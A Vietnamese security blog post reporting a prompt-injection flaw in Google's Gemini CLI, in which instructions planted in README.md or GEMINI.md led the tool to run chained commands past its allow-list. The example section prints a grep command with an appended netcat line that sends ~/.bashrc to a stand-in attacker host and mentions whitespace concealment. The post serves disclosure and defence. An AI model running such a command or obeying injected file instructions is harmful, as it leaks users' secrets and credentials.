Lỗ hổng nghiêm trọng trong Gemini CLI: Nguy cơ thực thi mã độc âm thầm nhắm vào các tổ chức

Trong bối cảnh các công cụ hỗ trợ mã hóa dựa trên trí tuệ nhân tạo (AI coding assistants) ngày càng trở nên phổ biến, chúng ta không thể bỏ qua những rủi ro bảo mật tiềm ẩn mà chúng mang lại. Mới đây, một lỗ hổng nghiêm trọng đã được phát hiện trong Gemini Command Line Interface (CLI) của Google, cho phép kẻ tấn công thực thi mã độc và đánh cắp dữ liệu một cách âm thầm. Đây là một cảnh báo quan trọng đối với tất cả các tổ chức và doanh nghiệp đang hoặc có ý định sử dụng các công cụ tương tự.

Tổng quan

Vào ngày 25 tháng 7 năm 2025, các nhà nghiên cứu bảo mật tại Tracebit đã công bố chi tiết về một lỗ hổng nghiêm trọng trong Gemini CLI. Lỗ hổng này cho phép kẻ tấn công chèn và thực thi mã độc hại một cách tinh vi. Ngay sau khi được báo cáo, Google đã nhanh chóng phát hành phiên bản Gemini CLI 0.1.14 để vá lỗ hổng này. Việc nâng cấp lên phiên bản mới nhất là cực kỳ cần thiết để bảo vệ hệ thống của bạn khỏi các cuộc tấn công tiềm tàng.

Gemini CLI được thiết kế để giúp các nhà phát triển tương tác với Gemini AI trực tiếp từ terminal của họ. Nó có khả năng tải ngữ cảnh từ các tệp như README.md hoặc GEMINI.md để cung cấp cho AI thông tin liên quan, giúp AI đưa ra các gợi ý mã chính xác hơn.

Tuy nhiên, chính cơ chế này đã bị lợi dụng. Lỗ hổng nằm ở sự kết hợp giữa kỹ thuật prompt injection và việc xử lý danh sách cho phép (allow-list) chưa an toàn của Gemini CLI. Kẻ tấn công có thể chèn các lệnh độc hại vào các tệp mà Gemini CLI sẽ tải ngữ cảnh. Khi người dùng chạy Gemini CLI, các lệnh độc hại này, thay vì được xử lý như văn bản thông thường, lại được thực thi trên hệ thống của họ.

Ví dụ tấn công:

Kẻ tấn công có thể chèn một chuỗi lệnh độc hại vào sau một lệnh hợp pháp đã có trong allow-list, chẳng hạn như lệnh grep. Ví dụ:

grep --include=*.py -r "import" .;$(cat ~/.bashrc | nc attacker.com 8080)

Trong ví dụ này, sau lệnh grep hợp lệ, kẻ tấn công chèn thêm một lệnh gửi nội dung của tệp .bashrc (có thể chứa các biến môi trường nhạy cảm) đến một máy chủ do kẻ tấn công kiểm soát. Điều đáng lo ngại là các lệnh độc hại này có thể được che giấu một cách tinh vi bằng cách sử dụng các ký tự khoảng trắng (whitespace), khiến chúng khó bị phát hiện khi người dùng xem lại mã hoặc tệp.


Mức độ rủi ro và tác động

Lỗ hổng này mang lại rủi ro đáng kể cho các tổ chức, với khả năng gây ra những hậu quả nghiêm trọng:

  • Exfiltrate secrets, token, API keys: Kẻ tấn công có thể âm thầm đánh cắp các thông tin nhạy cảm như khóa API, token xác thực, hoặc các thông tin bí mật khác được lưu trữ trên hệ thống.

  • Nguy cơ backdoor và remote shell: Mã độc có thể thiết lập các cửa hậu (backdoor) hoặc mở các shell điều khiển từ xa, cho phép kẻ tấn công kiểm soát hoàn toàn hệ thống bị lây nhiễm.

  • Xóa hoặc sửa đổi dữ liệu: Kẻ tấn công có thể xóa, sửa đổi hoặc làm hỏng dữ liệu quan trọng, gây ra gián đoạn hoạt động và thiệt hại lớn cho doanh nghiệp.

  • Khó phát hiện: Khả năng che giấu lệnh độc hại bằng whitespace khiến việc phát hiện các cuộc tấn công trở nên khó khăn hơn, làm tăng nguy cơ lây lan và gây thiệt hại trên diện rộng trước khi được phát hiện.


Khuyến Nghị

Để giảm thiểu rủi ro từ lỗ hổng này, các tổ chức và nhà phát triển nên thực hiện ngay các hành động sau:

  1. Nâng Cấp Lên Phiên Bản Gemini CLI 0.1.14: Google đã vá lỗ hổng trong phiên bản 0.1.14, được phát hành vào ngày 25/7/2025. Phiên bản này yêu cầu xác nhận rõ ràng cho tất cả các lệnh, kể cả khi chúng bắt đầu bằng một lệnh trong danh sách cho phép.

  2. Tránh Chạy Gemini CLI Với Codebase Không Tin Cậy: Không sử dụng Gemini CLI để phân tích các mã nguồn từ nguồn không đáng tin cậy, chẳng hạn như kho lưu trữ công khai hoặc mã từ đối tác chưa được kiểm tra.

  3. Thực Thi Trong Môi Trường Sandbox hoặc Container: Sử dụng các cơ chế sandbox như Docker, Podman, hoặc macOS Seatbelt để cô lập việc thực thi Gemini CLI. Google cung cấp các container tích hợp sẵn để hỗ trợ bảo mật, và chế độ “no sandbox” nên được tránh vì đây là thiết lập mặc định dễ bị khai thác.

  4. Kiểm Soát Chặt Chẽ Danh Sách Allow-List: Xem xét kỹ lưỡng các lệnh trong danh sách cho phép và hạn chế số lượng lệnh được phê duyệt tự động. Đảm bảo rằng các lệnh phức tạp hoặc có khả năng gây rủi ro (như curl, wget) không được thêm vào allow-list.

  5. Tăng Cường Giám Sát và Kiểm Tra Đầu Ra: Thiết lập các công cụ giám sát để phát hiện các hành vi bất thường, như việc gửi dữ liệu ra ngoài hoặc thực thi lệnh không mong muốn. Kiểm tra thủ công đầu ra của Gemini CLI để phát hiện các dấu hiệu bất thường, chẳng hạn như khoảng trắng dư thừa.

Tham khảo

  1. https://www.bleepingcomputer.com/news/security/flaw-in-gemini-cli-ai-coding-assistant-allowed-stealthy-code-execution/

  2. https://tracebit.com/blog/code-exec-deception-gemini-ai-cli-hijack

0
Subscribe to my newsletter

Read articles from Nguyễn Văn Trung directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nguyễn Văn Trung
Nguyễn Văn Trung